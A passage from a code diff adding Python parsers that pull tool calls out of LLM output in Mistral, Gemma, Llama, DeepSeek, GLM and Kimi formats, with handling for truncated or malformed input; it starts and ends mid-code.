+        brace = body.find("{", pos)
+        if brace < 0:
+            break
+        end = _balanced_brace_end(body, brace)
+        if end is None:
+            break  # truncated mid-object: nothing after it can balance
+        _consume_mistral_call(body[brace : end + 1], out, id_offset)
+        pos = end + 1
+    return out
+
+
+def _consume_mistral_call(obj_text: str, out: list[dict], id_offset: int) -> None:
+    try:
+        obj = json.loads(obj_text)
+    except (json.JSONDecodeError, ValueError):
+        return
+    if not isinstance(obj, dict):
+        return
+    name = obj.get("name") or ""
+    # Mistral uses ``arguments``; accept the ``parameters`` alias too (sibling paths and
+    # SGLang's base detector alias it) so an array object keyed on it keeps args.
+    args = obj.get("arguments")
+    if args is None:
+        args = obj.get("parameters", {})
+    if isinstance(args, dict):
+        args_str = json.dumps(args)
+    elif isinstance(args, str):
+        args_str = args
+    else:
+        args_str = json.dumps({"value": args})
+    if name:
+        out.append(
+            {
+                "id": obj.get("id") or f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+
+
+def _whole_content_is_json_value(text: str) -> bool:
+    """True when the entire content is one valid JSON value (a structured
+    answer, e.g. a response_format turn). Markerless scans must treat text
+    inside it as data: an answer documenting an enabled tool's syntax must
+    not execute that tool or have the example stripped from display."""
+    t = text.strip()
+    if t[:1] not in "{[":
+        return False
+    try:
+        json.loads(t)
+    except ValueError:
+        return False
+    return True
+
+
+def _leading_json_value_end(text: str) -> int | None:
+    """End index (exclusive) of a balanced LEADING JSON value that parses as
+    JSON: a structured answer possibly followed by prose. Markerless scans treat
+    its contents as data (extends ``_whole_content_is_json_value``); leading-keyed,
+    so a JSON blob mid-prose is not an answer span."""
+    i = 0
+    n = len(text)
+    while i < n and text[i].isspace():
+        i += 1
+    if i >= n or text[i] not in "{[":
+        return None
+    end = (_balanced_brace_end if text[i] == "{" else _balanced_bracket_end)(text, i)
+    if end is None:
+        return None
+    try:
+        json.loads(text[i : end + 1])
+    except ValueError:
+        return None
+    return end + 1
+
+
+def _parse_gemma_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Gemma 4: ``<|tool_call>call:NAME{k:<|"|>v<|"|>, ...}<tool_call|>``, plus the
+    ``skip_special_tokens`` stream where the wrapper and string markers were
+    stripped (bare ``call:NAME{k:v, ...}``).
+
+    ``enabled_tool_names`` gates on the parsed name: the wrapper-less shape is
+    indistinguishable from prose documenting the syntax, so a disabled/example
+    name must not be stolen as a call. ``None`` keeps the name-agnostic behaviour."""
+    out: list[dict] = []
+    # The WRAPPED form (strict + nested-marker handling) is tool_healing's, which runs
+    # first: defer content with a wrapped opener. A marker literal alone is not enough --
+    # a wrapper-less call mentioning ``<|tool_call>`` would be lost if deferred.
+    if _GEMMA_TC_RE.search(content):
+        return out
+    # A whole-content JSON value is a structured answer: quoted examples must not become calls.
+    if _whole_content_is_json_value(content):
+        return out
+    # Manual cursor: resume AFTER each consumed balanced body so a nested ``call:OTHER{...}``
+    # in an argument is never re-matched. A leading JSON answer's span is data -- scan after it.
+    cursor = _leading_json_value_end(content) or 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None:
+            break
+        name = m.group(1)
+        body_start = m.end() - 1
+        end = _gemma_body_brace_end(content, body_start)
+        if end is None:
+            # Unclosed call: nothing parseable follows (mirrors the strip contract);
+            # scanning on would promote quoted argument text.
+            break
+        cursor = end + 1
+        # Markerless: a disabled/example name is prose, not a call.
+        if enabled_tool_names is not None and name not in enabled_tool_names:
+            continue
+        body = content[body_start + 1 : end]
+        try:
+            args = _gemma_parse_stripped_body(body)
+        except Exception:
+            args = {}
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": json.dumps(args)},
+            }
+        )
+    return out
+
+
+def _balanced_brace_end(text: str, brace_pos: int) -> int | None:
+    """Index of the ``}`` matching ``{`` at ``brace_pos`` (ignores braces in JSON strings)."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    in_string = False
+    esc = False
+    i = brace_pos
+    while i < len(text):
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "{":
+                depth += 1
+            elif ch == "}":
+                depth -= 1
+                if depth == 0:
+                    return i
+        i += 1
+    return None
+
+
+def _gemma_body_brace_end(text: str, brace_pos: int) -> int | None:
+    """Index of the ``}`` closing the wrapper-less Gemma body at ``brace_pos``.
+
+    Values are raw after ``skip_special_tokens``, so quoted strings (single or
+    double) hide braces; the quote rules mirror ``_gemma_parse_stripped_body`` so
+    the boundary always agrees with the body parser. Contextual openers: a single
+    quote opens only at value-start context (after ``:{[(,=`` -- apostrophes in
+    ``what's the weather`` are prose), a double quote also at word start (so
+    ``query:find "a, b"`` hides its delimiters)."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    quote = ""
+    prev = ""
+    prev_raw = ""
+    i = brace_pos
+    n = len(text)
+    while i < n:
+        ch = text[i]
+        if quote:
+            if ch == "\\" and i + 1 < n:
+                i += 2
+                continue
+            if ch == quote:
+                quote = ""
+        elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+            quote = ch
+        elif ch == "{":
+            depth += 1
+        elif ch == "}":
+            depth -= 1
+            if depth == 0:
+                return i
+        if not ch.isspace():
+            prev = ch
+        prev_raw = ch
+        i += 1
+    return None
+
+
+_BARE_JSON_NAME_RE = re.compile(r'"name"\s*:\s*"([^"]+)"')
+
+
+def _top_level_bare_json_name(probe: str) -> Optional[str]:
+    """TOP-LEVEL ``"name"`` (or ``"function"`` alias, name wins) of a bare-JSON object, else None.
+
+    Skips nested objects/arrays so a nested ``"name"`` isn't mistaken for the call name; a
+    truncated tail returns None so the caller keeps the text."""
+    if not probe.startswith("{"):
+        return None
+    decoder = json.JSONDecoder()
+    function_value = None  # the ``"function"`` alias, used only if no ``"name"`` key
+    i = 1
+    n = len(probe)
+    while i < n:
+        while i < n and probe[i] in " \t\r\n,":
+            i += 1
+        if i >= n or probe[i] == "}":
+            # End of the object with no top-level ``"name"``: fall back to a recorded ``"function"`` alias.
+            return function_value
+        if probe[i] != '"':
+            return None
+        try:
+            key, consumed = decoder.raw_decode(probe[i:])
+        except (json.JSONDecodeError, ValueError):
+            return None
+        if not isinstance(key, str):
+            return None
+        i += consumed
+        while i < n and probe[i] in " \t\r\n":
+            i += 1
+        if i >= n or probe[i] != ":":
+            return None
+        i += 1
+        while i < n and probe[i] in " \t\r\n":
+            i += 1
+        if key == "name":
+            if i < n and probe[i] == '"':
+                try:
+                    value, _consumed = decoder.raw_decode(probe[i:])
+                except (json.JSONDecodeError, ValueError):
+                    return None
+                return value if isinstance(value, str) else None
+            return None
+        if key == "function" and function_value is None and i < n and probe[i] == '"':
+            # ``"function"`` aliases the call name. Record it but keep scanning: a top-level
+            # ``"name"`` still wins.
+            try:
+                value, consumed = decoder.raw_decode(probe[i:])
+            except (json.JSONDecodeError, ValueError):
+                return None
+            if isinstance(value, str):
+                function_value = value
+            i += consumed
+            continue
+        # Skip a non-name top-level value; a truncated one can't prove a top-level name
+        # exists, so return None (keep the text).
+        if i < n and probe[i] == "{":
+            end = _balanced_brace_end(probe, i)
+            if end is None:
+                return None
+            i = end + 1
+        elif i < n and probe[i] == "[":
+            end = _balanced_bracket_end(probe, i)
+            if end is None:
+                return None
+            i = end + 1
+        else:
+            try:
+                _value, consumed = decoder.raw_decode(probe[i:])
+            except (json.JSONDecodeError, ValueError):
+                return None
+            i += consumed
+    # No top-level ``"name"`` key: fall back to the ``"function"`` alias if seen.
+    return function_value
+
+
+def strip_leading_bare_json_call(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    """Remove leading Llama-3.2 bare-JSON calls (including a ``;``-chained run)
+    that ``strip_tool_markup`` misses; non-call text is unchanged and
+    ``enabled_tool_names`` gates like the parser. Consuming the whole chain
+    matters because the loops keep this text as next-turn assistant history: a
+    leftover executed call would be replayed alongside the structured
+    ``tool_calls``."""
+    remainder = text
+    stripped_any = False
+    while True:
+        probe = strip_llama3_leading_sentinels(remainder.lstrip())
+        # Skip the Llama-3 ``;`` inter-call separator between chained calls.
+        if stripped_any:
+            probe = probe.lstrip(" \t\n\r;")
+        if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+            return probe.lstrip() if stripped_any else text
+        if enabled_tool_names is not None:
+            # Only suppress when the leading object's TOP-LEVEL name is an enabled tool. A
+            # nested ``"name"`` (e.g. {"result":{"name":"web_search",...}}) is data, not the
+            # call name, so it must not gate the strip. An un-extractable name is kept.
+            name = _top_level_bare_json_name(probe)
+            if name not in enabled_tool_names:
+                return probe.lstrip() if stripped_any else text
+        end = _balanced_brace_end(probe, 0)
+        if end is None:
+            return ""  # truncated bare-JSON call -- nothing recoverable
+        # A closed object must have the CALL SHAPE the parser accepts (dict ``parameters``,
+        # or dict / JSON-string ``arguments``). An ordinary JSON answer like
+        # {"name":"web_search","result":"no call"} is content, so the strip keeps it visible.
+        try:
+            obj = json.loads(probe[: end + 1])
+        except (json.JSONDecodeError, ValueError):
+            return probe.lstrip() if stripped_any else text
+        if not _bare_json_call_shaped(obj):
+            return probe.lstrip() if stripped_any else text
+        remainder = probe[end + 1 :]
+        stripped_any = True
+
+
+def _bare_json_call_shaped(obj) -> bool:
+    """The shape gate ``_parse_llama3_bare_json`` applies to a decoded object."""
+    if not isinstance(obj, dict):
+        return False
+    # The parser requires a TOP-LEVEL name; a nested one (e.g. in a "result" value of an
+    # ordinary JSON answer) is data, and stripping it name-agnostically would delete content.
+    name = obj.get("name") or obj.get("function") or ""
+    if not isinstance(name, str) or not name:
+        return False
+    if "parameters" in obj:
+        return isinstance(obj.get("parameters"), dict)
+    args = obj.get("arguments")
+    if isinstance(args, dict):
+        return True
+    if isinstance(args, str):
+        try:
+            return isinstance(json.loads(args), dict)
+        except (json.JSONDecodeError, ValueError):
+            return False
+    return False
+
+
+def _gemma_balanced_brace_end(text: str, brace_pos: int, hard_stop: int) -> int | None:
+    """Like ``_balanced_brace_end`` but skips ``<|"|>`` strings and matches {}/[] symmetrically."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    i = brace_pos
+    while i < hard_stop:
+        if text.startswith(_GEMMA_STR_BEGIN, i):
+            close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+            if close < 0:
+                return None
+            i = close + len(_GEMMA_STR_END)
+            continue
+        ch = text[i]
+        if ch == "{" or ch == "[":
+            depth += 1
+        elif ch == "}" or ch == "]":
+            depth -= 1
+            if depth == 0:
+                return i
+        i += 1
+    return None
+
+
+def _gemma_parse_value(
+    text: str,
+    i: int,
+    *,
+    in_mapping: bool = False,
+):
+    """Parse one Gemma arg value at ``i`` in a single O(n) forward pass; returns
+    ``(value, next_index, closed)``. ``closed`` is False when a string/object/array
+    runs off the end without its terminator, so the caller can fall back to raw.
+    ``in_mapping`` applies the top-level rule that a comma only ends the value
+    when a ``key:`` follows (array elements split on every top-level comma)."""
+    if text.startswith(_GEMMA_STR_BEGIN, i):
+        close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+        if close < 0:
+            return text[i + len(_GEMMA_STR_BEGIN) :], len(text), False
+        return text[i + len(_GEMMA_STR_BEGIN) : close], close + len(_GEMMA_STR_END), True
+    if text[i] == "{":
+        return _gemma_parse_mapping(text, i)
+    if text[i] == "[":
+        return _gemma_parse_array(text, i)
+    if text[i] in "\"'":
+        # Raw-quoted string: delimiters inside are data (``{city:"New, York"}`` is one
+        # value); returned unquoted like the top-level scalar coercion.
+        quote = text[i]
+        j = i + 1
+        n = len(text)
+        while j < n:
+            if text[j] == "\\" and j + 1 < n:
+                j += 2
+                continue
+            if text[j] == quote:
+                return text[i + 1 : j], j + 1, True
+            j += 1
+        return text[i + 1 :], n, False
+    # Primitive / unquoted code: same delimiter rules as the top-level scan (bracket depth
+    # + contextual quote openers hide commas and closers).
+    end = i
+    n = len(text)
+    depth = 0
+    quote = ""
+    prev = ":"
+    prev_raw = ":"
+    while end < n and not text.startswith(_GEMMA_STR_BEGIN, end):
+        ch = text[end]
+        if quote:
+            if ch == "\\" and end + 1 < n:
+                end += 2
+                continue
+            if ch == quote:
+                quote = ""
+        elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+            quote = ch
+        elif ch in "{[(":
+            depth += 1
+        elif ch in "}])":
+            if depth == 0:
+                break
+            depth -= 1
+        elif ch == "," and depth == 0:
+            if not in_mapping or _GEMMA_KEY_RE.match(text, end + 1):
+                break
+        if not ch.isspace():
+            prev = ch
+        prev_raw = ch
+        end += 1
+    if end == i:
+        # Stray delimiter where a value was expected: consume one char so callers always
+        # advance (no infinite loop on malformed input).
+        return "", i + 1, True
+    raw = text[i:end].strip()
+    if raw == "true":
+        return True, end, True
+    if raw == "false":
+        return False, end, True
+    if raw == "null":
+        return None, end, True
+    try:
+        return int(raw), end, True
+    except ValueError:
+        pass
+    try:
+        return float(raw), end, True
+    except ValueError:
+        pass
+    return raw, end, True
+
+
+def _gemma_parse_array(text: str, start: int):
+    """Parse a Gemma ``[...]`` array at ``text[start] == '['`` in one forward
+    pass; returns ``(list, next_index, closed)``."""
+    items: list[Any] = []
+    i, n = start + 1, len(text)
+    while i < n:
+        while i < n and text[i] in " \t\n\r,":
+            i += 1
+        if i < n and text[i] == "]":
+            return items, i + 1, True
+        if i >= n:
+            break
+        v, i, _closed = _gemma_parse_value(text, i)
+        items.append(v)
+    return items, i, False
+
+
+def _gemma_coerce_scalar(raw: str) -> Any:
+    """Coerce an unquoted Gemma value to bool/int/float/None, else keep str
+    (quotes stripped first so quoted/unquoted variants compare identical)."""
+    raw = raw.strip()
+    if len(raw) >= 2 and raw[0] == raw[-1] and raw[0] in "\"'":
+        return raw[1:-1]
+    if raw == "true":
+        return True
+    if raw == "false":
+        return False
+    if raw == "null":
+        return None
+    try:
+        return int(raw)
+    except ValueError:
+        pass
+    try:
+        return float(raw)
+    except ValueError:
+        pass
+    return raw
+
+
+def _gemma_strip_quoted_leaves(value: Any) -> Any:
+    """Recursively unquote quoted string leaves of a nested stripped-stream value,
+    so nested ``city:"New York"`` matches the top-level coercion (no stray quotes)."""
+    if isinstance(value, str):
+        v = value.strip()
+        if len(v) >= 2 and v[0] == v[-1] and v[0] in "\"'":
+            return v[1:-1]
+        return value
+    if isinstance(value, dict):
+        return {k: _gemma_strip_quoted_leaves(v) for k, v in value.items()}
+    if isinstance(value, list):
+        return [_gemma_strip_quoted_leaves(v) for v in value]
+    return value
+
+
+def _gemma_parse_stripped_body(body: str) -> dict[str, Any]:
+    """Parse a quote-less Gemma arg body ``key:value, key2:value2`` (the
+    ``skip_special_tokens`` stream with ``<|"|>`` markers removed). Each value runs
+    to the next top-level ``, key:`` boundary, tracking ``{}``/``[]``/``()`` depth so
+    commas/braces inside a ``code`` / ``command`` value aren't truncated."""
+    out: dict[str, Any] = {}
+    i, n = 0, len(body)
+    while i < n:
+        m = _GEMMA_KEY_RE.match(body, i)
+        if not m:
+            break
+        key = m.group(1)
+        i = m.end()
+        vstart = i
+        depth = 0
+        quote = ""
+        # Contextual quote openers mirror _gemma_body_brace_end.
+        prev = ":"
+        prev_raw = ":"
+        while i < n:
+            ch = body[i]
+            if quote:
+                # A ``, key:`` shape inside the quoted string is not a boundary.
+                if ch == "\\" and i + 1 < n:
+                    i += 2
+                    continue
+                if ch == quote:
+                    quote = ""
+            elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+                quote = ch
+            elif ch in "{[(":
+                depth += 1
+            elif ch in "}])":
+                if depth > 0:
+                    depth -= 1
+            elif ch == "," and depth == 0 and _GEMMA_KEY_RE.match(body, i + 1):
+                break
+            if not ch.isspace():
+                prev = ch
+            prev_raw = ch
+            i += 1
+        raw_val = body[vstart:i].strip()
+        if raw_val[:1] in "{[":
+            # Nested object/array: accept only a fully consumed, closed parse; a
+            # truncated/malformed value falls back to the raw string.
+            parsed, end, closed = _gemma_parse_value(raw_val, 0)
+            out[key] = (
+                _gemma_strip_quoted_leaves(parsed)
+                if (closed and end == len(raw_val))
+                else _gemma_coerce_scalar(raw_val)
+            )
+        else:
+            out[key] = _gemma_coerce_scalar(raw_val)
+        if i < n and body[i] == ",":
+            i += 1
+    return out
+
+
+def _gemma_parse_mapping(text: str, start: int):
+    """Parse a Gemma ``{key:value, ...}`` mapping at ``text[start] == '{'`` in one
+    forward pass; returns ``(dict, next_index, closed)`` (``closed`` True iff the
+    matching ``}`` was reached)."""
+    out: dict[str, Any] = {}
+    i, n = start + 1, len(text)
+    while i < n:
+        while i < n and text[i] in " \t\n\r,":
+            i += 1
+        if i < n and text[i] == "}":
+            return out, i + 1, True
+        if i >= n:
+            break
+        if text.startswith(_GEMMA_STR_BEGIN, i):
+            close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+            if close < 0:
+                break
+            key = text[i + len(_GEMMA_STR_BEGIN) : close]
+            i = close + len(_GEMMA_STR_END)
+        else:
+            kstart = i
+            while i < n and text[i] not in ":}":
+                i += 1
+            key = text[kstart:i].strip()
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        if i < n and text[i] == ":":
+            i += 1
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        if i >= n:
+            out[key] = None
+            break
+        if text[i] == "}":
+            out[key] = None
+            return out, i + 1, True
+        v, i, _closed = _gemma_parse_value(text, i, in_mapping = True)
+        out[key] = v
+    return out, i, False
+
+
+# ── DeepSeek R1 / V3 / V3.1 ─────────────────────────────────────────
+
+
+def _find_outside_json_strings(text: str, needle: str, start: int) -> int:
+    """Index of ``needle`` at/after ``start`` OUTSIDE any JSON string, or -1: a
+    marker inside an argument string must not be taken as the structural terminator."""
+    i = start
+    n = len(text)
+    in_string = False
+    esc = False
+    while i < n:
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+            i += 1
+            continue
+        if ch == '"':
+            in_string = True
+            i += 1
+            continue
+        if text.startswith(needle, i):
+            return i
+        i += 1
+    return -1
+
+
+def _parse_deepseek_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """DeepSeek R1 / V3 / V3.1.
+
+    R1:    ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>NAME\\n``\\`\\`\\`json\\n{...}\\n\\`\\`\\`<｜tool▁call▁end｜>...``
+    V3.x:  ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>NAME<｜tool▁sep｜>{json}<｜tool▁call▁end｜>...``
+
+    Mirrors llama.cpp's pre-autoparser ``common_chat_parse_deepseek_r1`` /
+    ``_v3_1`` handling; tolerates the 5 opener variants llama.cpp keeps.
+    """
+    out: list[dict] = []
+    begin = _DEEPSEEK_BEGIN_RE.search(content)
+    if not begin:
+        return out
+    scan_start = begin.end()
+    # Envelope end OUTSIDE JSON strings: an argument may contain the literal end token,
+    # and a raw find would truncate the call.
+    end_pos = _find_outside_json_strings(content, _DEEPSEEK_END, scan_start)
+    # Strict mode: an unclosed envelope is truncated; reject, don't heal to EOF.
+    if not allow_incomplete and end_pos < 0:
+        return out
+    scan_end = end_pos if end_pos >= 0 else len(content)
+    body = content[scan_start:scan_end]
+
+    # R1 path first: ``function<｜tool▁sep｜>NAME\n```json\n{...}\n```<｜tool▁call▁end｜>``.
+    pos = 0
+    while pos < len(body):
+        fpos = body.find(_DEEPSEEK_R1_FUNC_MARKER, pos)
+        if fpos < 0:
+            break
+        name_start = fpos + len(_DEEPSEEK_R1_FUNC_MARKER)
+        nl = body.find("\n", name_start)
+        if nl < 0:
+            break
+        if not body.startswith(_DEEPSEEK_R1_FENCE, nl):
+            pos = name_start
+            continue
+        name = body[name_start:nl].strip()
+        json_start = nl + len(_DEEPSEEK_R1_FENCE)
+        # Walk a balanced ``{`` even if the trailing fence is truncated.
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = json_start
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            break
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        # The closing fence + <｜tool▁call▁end｜> must IMMEDIATELY follow the JSON, else an
+        # unbounded search lands on a LATER call's terminator. Absent close: heal past the
+        # JSON (strict rejects); later well-formed calls are still kept.
+        after = brace_end + 1
+        while after < len(body) and body[after] in " \t\r\n":
+            after += 1
+        close_m = _DEEPSEEK_R1_CLOSE_RE.match(body, after)
+        if not allow_incomplete and close_m is None:
+            pos = brace_end + 1
+            continue
+        if name:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        pos = close_m.end() if close_m else brace_end + 1
+    if out:
+        return out
+
+    # V3 / V3.1: name then bare JSON. Use ``str.find`` for the sep marker and walk
+    # back for the name (a ``[^\n<]+`` regex search is O(N^2) on truncated bodies).
+    pos = 0
+    while pos < len(body):
+        sep_pos = body.find(_DEEPSEEK_SEP, pos)
+        if sep_pos < 0:
+            break
+        # Walk left from sep_pos to the name start; stop at ``\n`` (turn boundary), ``<``
+        # (tag start), or ``>`` (end of an optional ``<｜tool▁call▁begin｜>``).
+        name_start = sep_pos
+        while name_start > pos and body[name_start - 1] not in "\n<>":
+            name_start -= 1
+        name = body[name_start:sep_pos].strip()
+        json_start = sep_pos + len(_DEEPSEEK_SEP)
+        while json_start < len(body) and body[json_start] in " \t\n\r":
+            json_start += 1
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = sep_pos + len(_DEEPSEEK_SEP)
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            break
+        # Strict mode: a real V3 call closes with the per-call <｜tool▁call▁end｜>; without
+        # it the call is truncated/merged, so skip it but keep scanning for a later
+        # well-formed call (matches Kimi strict).
+        if not allow_incomplete:
+            after = brace_end + 1
+            while after < len(body) and body[after] in " \t\r\n":
+                after += 1
+            if not body.startswith(_DEEPSEEK_CALL_END, after):
+                pos = brace_end + 1
+                continue
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        if name:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        # Advance just past the JSON; seeking the optional <｜tool▁call▁end｜> could land on
+        # a LATER call's end marker and skip the call between.
+        pos = brace_end + 1
+    return out
+
+
+# ── GLM 4.5 / 4.6 / 4.7 ─────────────────────────────────────────────
+
+
+def _parse_glm_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """GLM 4.5 / 4.6 / 4.7.
+
+    ``<tool_call>NAME[\\n]<arg_key>K</arg_key>[\\n]<arg_value>V</arg_value>
+    ...</tool_call>``. Multi-call is back-to-back blocks, no envelope.
+    Mirrors llama.cpp's GLM 4.x tool-call handling (``common_chat_params_init_glm_4_5``
+    plus its generalized XML-style parser, llama.cpp PRs #15904 / #16932).
+    """
+    out: list[dict] = []
+    pos = 0
+    while pos < len(content):
+        m = _GLM_TC_OPEN_RE.search(content, pos)
+        if not m:
+            break
+        name = m.group(1).strip()
+        apos = m.end()  # absolute position in ``content``; advances past each pair
+
+        args: dict[str, Any] = {}
+        valid = True
+        close = -1
+        # Walk arg pairs directly against ``content``: a value may contain a literal
+        # </tool_call>, so the real close is the </tool_call> before the next <arg_key>.
+        # ``str.find`` keeps this linear.
+        while True:
+            ks = content.find(_GLM_ARG_KEY_OPEN, apos)
+            tc = content.find(_GLM_TC_CLOSE, apos)
+            if tc >= 0 and (ks < 0 or tc < ks):
+                close = tc
+                break
+            if ks < 0:
+                break  # no close and no more keys -- truncated body
+            ke = content.find(_GLM_ARG_KEY_CLOSE, ks + len(_GLM_ARG_KEY_OPEN))
+            if ke < 0:
+                break
+            vstart = ke + len(_GLM_ARG_KEY_CLOSE)
+            while vstart < len(content) and content[vstart] in " \t\r\n":
+                vstart += 1
+            if not content.startswith(_GLM_ARG_VAL_OPEN, vstart):
+                # Key without <arg_value>: strict rejects the call; Auto-Heal skips it.
+                if not allow_incomplete:
+                    valid = False
+                apos = ke + len(_GLM_ARG_KEY_CLOSE)
+                continue
+            vs = vstart + len(_GLM_ARG_VAL_OPEN)
+            # A first-match find on </arg_value> would truncate values containing literal
+            # close tags and execute corrupted arguments.
+            ve = _glm_value_close(content, vs, strict = not allow_incomplete)
+            key = content[ks + len(_GLM_ARG_KEY_OPEN) : ke].strip()
+            if ve < 0:
+                # Unclosed <arg_value>: strict rejects the whole call; Auto-Heal keeps the
+                # partial value (a truncated query is not a no-arg call).
+                if not allow_incomplete:
+                    valid = False
+                    break
+                # Bound the healed value at the next structural tag, not EOF, so a value
+                # missing only its </arg_value> can't swallow the markup after it.
+                nk = content.find(_GLM_ARG_KEY_OPEN, vs)
+                tc = content.find(_GLM_TC_CLOSE, vs)
+                bounds = [b for b in (nk, tc) if b >= 0]
+                if not bounds:
+                    args[key] = content[vs:].rstrip()
+                    break
+                bound = min(bounds)
+                args[key] = content[vs:bound].rstrip()
+                apos = bound
+                continue
+            raw_val = content[vs:ve]
+            apos = ve + len(_GLM_ARG_VAL_CLOSE)
+            # Decode only unambiguous JSON literals; else keep the value RAW so whitespace
+            # in string args survives (matches vLLM glm4_moe). ``"`` is left out of the
+            # probe: a verbatim string's quotes are meaningful.
+            probe = raw_val.strip()
+            if (
+                probe[:1] in "{["
+                or probe in ("true", "false", "null")
+                or _GLM_JSON_NUMERIC_RE.fullmatch(probe)
+            ):
+                try:
+                    args[key] = json.loads(probe)
+                    continue
+                except (json.JSONDecodeError, ValueError):
+                    pass
+            args[key] = raw_val
+
+        # Strict mode: a block with no </tool_call> is truncated; reject it.
+        if not allow_incomplete and close < 0:
+            valid = False
+
+        if name and valid:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        pos = close + len(_GLM_TC_CLOSE) if close >= 0 else len(content)
+    return out
+
+
+# ── Kimi K2 / Moonshot ──────────────────────────────────────────────
+
+
+def _parse_kimi_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Kimi K2.
+
+    ``<|tool_calls_section_begin|><|tool_call_begin|>functions.NAME:IDX
+    <|tool_call_argument_begin|>{json}<|tool_call_end|>...
+    <|tool_calls_section_end|>``. Full id is preserved on ``tool_calls
+    [i].id`` for round-trip through the chat template. Outer loop walks
+    every section in the stream (vLLM / SGLang parity); mirrors llama.cpp's
+    Kimi K2 handling via its generalized XML-style parser (llama.cpp PR #16932).
+    """
+    out: list[dict] = []
+    outer_pos = 0
+    while True:
+        section_start = content.find(_KIMI_SECTION_BEGIN, outer_pos)
+        if section_start < 0:
+            break
+        scan_start = section_start + len(_KIMI_SECTION_BEGIN)
+        # Section end OUTSIDE JSON strings: an argument may contain the literal end token,
+        # and a raw find would drop the later valid call.
+        section_end = _find_outside_json_strings(content, _KIMI_SECTION_END, scan_start)
+        scan_end = section_end if section_end >= 0 else len(content)
+        body = content[scan_start:scan_end]
+        # Truncated tail: parse what we have, then exit. In strict mode a section with no
+        # <|tool_calls_section_end|> is truncated; reject it instead.
+        if section_end < 0:
+            if allow_incomplete:
+                out.extend(
+                    _parse_kimi_section_body(
+                        body, id_offset = id_offset + len(out), allow_incomplete = True
+                    )
+                )
+            return out
+        outer_pos = section_end + len(_KIMI_SECTION_END)
+        out.extend(
+            _parse_kimi_section_body(
+                body, id_offset = id_offset + len(out), allow_incomplete = allow_incomplete
+            )
+        )
+
+    # The section wrapper is optional (llama.cpp): a bare <|tool_call_begin|> call parses
+    # as one section when the loop matched nothing.
+    if not out and _KIMI_CALL_BEGIN in content:
+        out.extend(
+            _parse_kimi_section_body(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+        )
+    return out
+
+
+def _parse_kimi_section_body(
+    body: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse one Kimi K2 section body (between begin / end markers)."""
+    out: list[dict] = []
+    pos = 0
+    while pos < len(body):
+        call_start = body.find(_KIMI_CALL_BEGIN, pos)
+        if call_start < 0:
+            break
+        id_start = call_start + len(_KIMI_CALL_BEGIN)
+        arg_begin = body.find(_KIMI_ARG_BEGIN, id_start)
+        if arg_begin < 0:
+            break
+        full_id = body[id_start:arg_begin].strip()
+        m = _KIMI_ID_RE.match(full_id)
+        if m:
+            # group(1) is the whole name; do NOT split on ``.`` -- a dotted MCP name stays intact.
+            name = m.group(1)
+        else:
+            base = full_id.split(":")[0]
+            name = base[len("functions.") :] if base.startswith("functions.") else base
+        # Drop bare-counter ids (``3``, ``42``) -- matches vLLM; SGLang infers the name
+        # from the tool schema, which we don't have here.
+        if name.isdigit():
+            json_start = arg_begin + len(_KIMI_ARG_BEGIN)
+            brace_end = (
